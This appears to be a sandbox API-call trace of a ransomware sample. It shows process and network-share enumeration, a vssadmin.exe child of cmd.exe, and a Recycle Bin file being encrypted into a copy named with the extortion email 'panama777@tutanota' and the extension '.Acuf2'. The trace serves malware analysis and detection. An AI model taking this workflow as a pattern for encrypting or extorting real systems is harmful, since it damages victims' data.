	[0060.470] Process32NextW (in: hSnapshot=0x18c, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="walkerusefuldifferently.exe")) returned 1
	[0060.471] lstrlenW (lpString="walkerusefuldifferently.exe") returned 27
	[0060.471] Process32NextW (in: hSnapshot=0x18c, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="donated.exe")) returned 1
	[0060.472] lstrlenW (lpString="donated.exe") returned 11
	[0060.472] Process32NextW (in: hSnapshot=0x18c, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowherepike.exe")) returned 1
	[0060.472] lstrlenW (lpString="nowherepike.exe") returned 15
	[0060.472] Process32NextW (in: hSnapshot=0x18c, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="packagevolkswagen.exe")) returned 1
	[0060.473] lstrlenW (lpString="packagevolkswagen.exe") returned 21
	[0060.473] Process32NextW (in: hSnapshot=0x18c, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="roommate_ordinary.exe")) returned 1
	[0060.474] lstrlenW (lpString="roommate_ordinary.exe") returned 21
	[0060.474] Process32NextW (in: hSnapshot=0x18c, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="allowance.exe")) returned 1
	[0060.475] lstrlenW (lpString="allowance.exe") returned 13
	[0060.475] Process32NextW (in: hSnapshot=0x18c, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conducting affect.exe")) returned 1
	[0060.475] lstrlenW (lpString="conducting affect.exe") returned 21
	[0060.476] Process32NextW (in: hSnapshot=0x18c, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="plaintiff.exe")) returned 1
	[0060.476] lstrlenW (lpString="plaintiff.exe") returned 13
	[0060.476] Process32NextW (in: hSnapshot=0x18c, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dialog.exe")) returned 1
	[0060.477] lstrlenW (lpString="dialog.exe") returned 10
	[0060.477] Process32NextW (in: hSnapshot=0x18c, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="katrinaupgradingfruits.exe")) returned 1
	[0060.478] lstrlenW (lpString="katrinaupgradingfruits.exe") returned 26
	[0060.478] Process32NextW (in: hSnapshot=0x18c, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spa-podcasts.exe")) returned 1
	[0060.478] lstrlenW (lpString="spa-podcasts.exe") returned 16
	[0060.479] Process32NextW (in: hSnapshot=0x18c, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0060.479] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0060.479] Process32NextW (in: hSnapshot=0x18c, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="swpesp.exe")) returned 1
	[0060.480] lstrlenW (lpString="swpesp.exe") returned 10
	[0060.480] Process32NextW (in: hSnapshot=0x18c, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x918, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0060.481] lstrlenW (lpString="cmd.exe") returned 7
	[0060.481] Process32NextW (in: hSnapshot=0x18c, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0060.482] lstrlenW (lpString="conhost.exe") returned 11
	[0060.482] Process32NextW (in: hSnapshot=0x18c, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x92c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0060.482] lstrlenW (lpString="vssadmin.exe") returned 12
	[0060.482] Process32NextW (in: hSnapshot=0x18c, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1
	[0060.483] lstrlenW (lpString="VSSVC.exe") returned 9
	[0060.483] Process32NextW (in: hSnapshot=0x18c, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.484] lstrlenW (lpString="svchost.exe") returned 11
	[0060.484] Process32NextW (in: hSnapshot=0x18c, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1
	[0060.485] lstrlenW (lpString="LogonUI.exe") returned 11
	[0060.485] Process32NextW (in: hSnapshot=0x18c, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0
	[0060.485] CloseHandle (hObject=0x18c) returned 1
	[0060.485] Sleep (dwMilliseconds=0x1f4) 

Thread:
	id = 5
	os_tid = 0x938

	[0035.114] WaitForSingleObject (hHandle=0x18fde4, dwMilliseconds=0xffffffff) returned 0xffffffff
	[0035.114] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x524a30 | out: hHeap=0x4f0000) returned 1

Thread:
	id = 6
	os_tid = 0x93c

	[0035.115] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524a30
	[0035.115] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524a30, Size=0x20) returned 0x525b10
	[0035.115] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x525b10, Size=0x40) returned 0x526ba0
	[0035.115] GetLogicalDrives () returned 0x4
	[0035.115] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x56d460
	[0035.115] GetComputerNameW (in: lpBuffer=0x56d464, nSize=0x237ff6c | out: lpBuffer="XDUWTFONO", nSize=0x237ff6c) returned 1
	[0035.115] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1000) returned 0x57d468
	[0035.116] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x237ff3c | out: lphEnum=0x237ff3c*=0x526100) returned 0x0
	[0035.116] WNetEnumResourceW (in: hEnum=0x526100, lpcCount=0x237ff38, lpBuffer=0x57d468, lpBufferSize=0x237ff40 | out: lpcCount=0x237ff38, lpBuffer=0x57d468, lpBufferSize=0x237ff40) returned 0x103
	[0035.116] WNetCloseEnum (hEnum=0x526100) returned 0x0
	[0035.116] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x237ff3c | out: lphEnum=0x237ff3c*=0x3ec2988) returned 0x0
	[0039.790] WNetEnumResourceW (in: hEnum=0x3ec2988, lpcCount=0x237ff38, lpBuffer=0x57d468, lpBufferSize=0x237ff40 | out: lpcCount=0x237ff38, lpBuffer=0x57d468, lpBufferSize=0x237ff40) returned 0x0
	[0039.790] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1000) returned 0x53e058
	[0039.790] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x57d468, lphEnum=0x237ff10 | out: lphEnum=0x237ff10*=0x526380) returned 0x0
	[0039.875] WNetEnumResourceW (in: hEnum=0x526380, lpcCount=0x237ff0c, lpBuffer=0x53e058, lpBufferSize=0x237ff14 | out: lpcCount=0x237ff0c, lpBuffer=0x53e058, lpBufferSize=0x237ff14) returned 0x103
	[0039.875] WNetCloseEnum (hEnum=0x526380) returned 0x0
	[0039.875] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1000) returned 0x56a4a8
	[0039.875] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x57d488, lphEnum=0x237ff10 | out: lphEnum=0x237ff10*=0x0) returned 0x4b8
	[0060.459] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1000) returned 0x3efc828
	[0060.459] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x57d4a8, lphEnum=0x237ff10 | out: lphEnum=0x237ff10*=0x0) returned 0x4c6
	[0060.462] WNetEnumResourceW (in: hEnum=0x3ec2988, lpcCount=0x237ff38, lpBuffer=0x57d468, lpBufferSize=0x237ff40 | out: lpcCount=0x237ff38, lpBuffer=0x57d468, lpBufferSize=0x237ff40) returned 0x103
	[0060.462] WNetCloseEnum (hEnum=0x3ec2988) returned 0x0
	[0060.462] GetLogicalDrives () returned 0x4
	[0060.462] Sleep (dwMilliseconds=0x64) 

Thread:
	id = 7
	os_tid = 0x940

	[0035.118] GetTickCount () returned 0x18ddd
	[0035.118] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x24) returned 0x53b520
	[0035.118] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x53b520, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x118
	[0035.796] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x53b520, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x124
	[0035.799] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x53b520, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x128
	[0035.801] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x53b520, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12c
	[0035.803] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5407b0
	[0035.803] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5407b0, Size=0x20) returned 0x525c00
	[0035.803] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5407b0
	[0035.803] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5407b0, Size=0x20) returned 0x525c28
	[0035.803] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000
	[0036.560] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650
	[0036.560] Wow64DisableWow64FsRedirection (in: OldValue=0x247ff84 | out: OldValue=0x247ff84*=0x0) returned 1
	[0036.560] lstrlenW (lpString="kernel32.dll") returned 12
	[0036.560] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525c00 | out: hHeap=0x4f0000) returned 1
	[0036.560] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0036.560] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525c28 | out: hHeap=0x4f0000) returned 1
	[0036.560] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x52b428, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x138
	[0036.565] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0x64) returned 0x102
	[0036.879] GetTickCount () returned 0x18fa1
	[0036.879] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0x64) returned 0x102
	[0037.048] GetTickCount () returned 0x1903d
	[0037.048] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0x64) returned 0x102
	[0037.731] GetTickCount () returned 0x190e9
	[0037.731] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0x64) returned 0x102
	[0037.901] GetTickCount () returned 0x19194
	[0037.901] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0x64) returned 0x102
	[0038.172] GetTickCount () returned 0x1928e
	[0038.172] GetTickCount () returned 0x1928e
	[0038.172] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0x64) returned 0x102
	[0038.708] GetTickCount () returned 0x194a0
	[0038.708] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0x64) returned 0x102
	[0039.298] GetTickCount () returned 0x196f1
	[0039.298] GetTickCount () returned 0x196f1
	[0039.298] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0x64) returned 0x102
	[0039.764] GetTickCount () returned 0x198c5
	[0039.764] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0x64) returned 0x102
	[0039.920] GetTickCount () returned 0x19961
	[0039.920] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0x64) returned 0x102
	[0040.381] GetTickCount () returned 0x19ae7
	[0040.382] GetTickCount () returned 0x19ae7
	[0040.382] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0x64) returned 0x102
	[0040.760] GetTickCount () returned 0x19bf0
	[0040.760] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0x64) returned 0x102
	[0041.175] GetTickCount () returned 0x19d95
	[0041.175] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0x64) returned 0x102
	[0041.435] GetTickCount () returned 0x19e9f
	[0041.435] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0x64) returned 0x102
	[0041.575] GetTickCount () returned 0x19f0c
	[0041.575] GetTickCount () returned 0x19f0c
	[0041.575] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0x64) returned 0x102
	[0041.916] GetTickCount () returned 0x1a053
	[0041.916] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0x64) returned 0x102
	[0042.182] GetTickCount () returned 0x1a15d
	[0042.182] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0x64) returned 0x102
	[0042.627] GetTickCount () returned 0x1a2c3
	[0042.627] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0x64) returned 0x102
	[0042.875] GetTickCount () returned 0x1a39e
	[0042.875] GetTickCount () returned 0x1a39e
	[0042.875] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0x64) returned 0x102
	[0043.199] GetTickCount () returned 0x1a4b7
	[0043.199] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0x64) returned 0x102
	[0043.600] GetTickCount () returned 0x1a5c0
	[0043.600] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0x64) returned 0x102
	[0043.940] GetTickCount () returned 0x1a68b
	[0043.940] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0x64) returned 0x102
	[0044.505] GetTickCount () returned 0x1a85f
	[0044.505] GetTickCount () returned 0x1a85f
	[0044.506] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0x64) returned 0x102
	[0044.849] GetTickCount () returned 0x1a9b6
	[0044.849] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0x64) returned 0x102
	[0045.406] GetTickCount () returned 0x1aba9
	[0045.406] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0x64) returned 0x102
	[0045.724] GetTickCount () returned 0x1acf1
	[0045.724] GetTickCount () returned 0x1acf1
	[0045.724] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0x64) returned 0x102
	[0045.937] GetTickCount () returned 0x1ad9c
	[0045.937] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0x64) returned 0x102
	[0046.343] GetTickCount () returned 0x1af32
	[0046.351] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0x64) returned 0x102
	[0046.736] GetTickCount () returned 0x1b0b8
	[0046.736] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0x64) returned 0x102
	[0047.197] GetTickCount () returned 0x1b24d
	[0047.197] GetTickCount () returned 0x1b24d
	[0047.197] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0x64) returned 0x102
	[0047.719] GetTickCount () returned 0x1b460
	[0047.719] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0x64) returned 0x102
	[0047.967] GetTickCount () returned 0x1b54a
	[0047.967] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0x64) returned 0x102
	[0048.116] GetTickCount () returned 0x1b5e6
	[0048.116] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0x64) returned 0x102
	[0048.529] GetTickCount () returned 0x1b77b
	[0048.529] GetTickCount () returned 0x1b77b
	[0048.529] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0x64) returned 0x102
	[0048.731] GetTickCount () returned 0x1b846
	[0048.731] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0x64) returned 0x102
	[0049.844] GetTickCount () returned 0x1bca9
	[0049.844] GetTickCount () returned 0x1bca9
	[0049.844] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0x64) returned 0x102
	[0050.181] GetTickCount () returned 0x1bdf1
	[0050.181] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0x64) returned 0x102
	[0050.291] GetTickCount () returned 0x1be5e
	[0050.291] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0x64) returned 0x102
	[0050.747] GetTickCount () returned 0x1c042
	[0050.761] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0x64) returned 0x102
	[0051.139] GetTickCount () returned 0x1c1b8
	[0051.139] GetTickCount () returned 0x1c1b8
	[0051.140] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0x64) returned 0x102
	[0051.564] GetTickCount () returned 0x1c35d
	[0051.564] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0x64) returned 0x102
	[0051.861] GetTickCount () returned 0x1c486
	[0051.861] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0x64) returned 0x102
	[0052.470] GetTickCount () returned 0x1c6e6
	[0052.470] GetTickCount () returned 0x1c6e6
	[0052.470] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0x64) returned 0x102
	[0053.026] GetTickCount () returned 0x1c918
	[0053.026] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0x64) returned 0x102
	[0053.311] GetTickCount () returned 0x1ca31
	[0053.311] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0x64) returned 0x102
	[0053.540] GetTickCount () returned 0x1cb1b
	[0053.540] GetTickCount () returned 0x1cb1b
	[0053.540] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0x64) returned 0x102
	[0053.826] GetTickCount () returned 0x1cc33
	[0053.826] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0x64) returned 0x102
	[0054.671] GetTickCount () returned 0x1cf7e
	[0054.671] GetTickCount () returned 0x1cf7e
	[0054.671] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0x64) returned 0x102
	[0055.051] GetTickCount () returned 0x1d104
	[0055.051] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0x64) returned 0x102
	[0055.360] GetTickCount () returned 0x1d22c
	[0055.360] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0x64) returned 0x102
	[0055.592] GetTickCount () returned 0x1d316
	[0055.592] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0x64) returned 0x102
	[0055.944] GetTickCount () returned 0x1d47d
	[0055.944] GetTickCount () returned 0x1d47d
	[0055.944] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0x64) returned 0x102
	[0056.915] GetTickCount () returned 0x1d844
	[0056.915] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0x64) returned 0x102
	[0057.188] GetTickCount () returned 0x1d94d
	[0057.188] GetTickCount () returned 0x1d94d
	[0057.188] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0x64) returned 0x102
	[0057.555] GetTickCount () returned 0x1dac4
	[0057.555] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0x64) returned 0x102
	[0057.807] GetTickCount () returned 0x1dbbd
	[0057.807] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0x64) returned 0x102
	[0058.047] GetTickCount () returned 0x1dca7
	[0058.047] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0x64) returned 0x102
	[0058.814] GetTickCount () returned 0x1dfb3
	[0058.814] GetTickCount () returned 0x1dfb3
	[0058.815] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0x64) returned 0x102
	[0059.619] GetTickCount () returned 0x1e2cf
	[0059.619] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0x64) returned 0x102
	[0059.856] GetTickCount () returned 0x1e3c9
	[0059.856] GetTickCount () returned 0x1e3c9
	[0059.856] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0x64) returned 0x102
	[0060.337] GetTickCount () returned 0x1e59d
	[0060.337] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0x64) returned 0x102
	[0060.511] GetTickCount () returned 0x1e648
	[0060.511] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0x64) 

Thread:
	id = 8
	os_tid = 0x944

	[0036.561] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x57e470
	[0036.562] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x58e478
	[0036.562] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x540888
	[0036.562] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x52a378
	[0036.562] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5408a0
	[0036.562] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x2ec0020
	[0036.562] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5408b8
	[0036.562] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5408b8, Size=0x20) returned 0x525c28
	[0036.562] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5408b8
	[0036.562] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5408b8, Size=0x20) returned 0x525c00
	[0036.562] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000
	[0036.562] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650
	[0036.562] Wow64DisableWow64FsRedirection (in: OldValue=0x1f2ff58 | out: OldValue=0x1f2ff58*=0x0) returned 1
	[0036.562] lstrlenW (lpString="kernel32.dll") returned 12
	[0036.562] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525c28 | out: hHeap=0x4f0000) returned 1
	[0036.562] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0036.562] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525c00 | out: hHeap=0x4f0000) returned 1
	[0036.563] Sleep (dwMilliseconds=0x64) 
	[0036.879] Sleep (dwMilliseconds=0x64) 
	[0037.024] lstrcmpiW (lpString1=".ini", lpString2=".Acuf2") returned 1
	[0037.024] lstrlenW (lpString="desktop.ini") returned 11
	[0037.024] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168
	[0037.024] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x1f2ff1c | out: lpFileSize=0x1f2ff1c*=129) returned 1
	[0037.024] CloseHandle (hObject=0x168) returned 1
	[0037.025] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 0x26
	[0037.025] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0037.025] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168
	[0037.025] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0037.025] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0037.025] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c
	[0037.026] GetLastError () returned 0x0
	[0037.026] ReadFile (in: hFile=0x168, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x81, lpOverlapped=0x0) returned 1
	[0037.040] WriteFile (in: hFile=0x16c, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0x90, lpOverlapped=0x0) returned 1
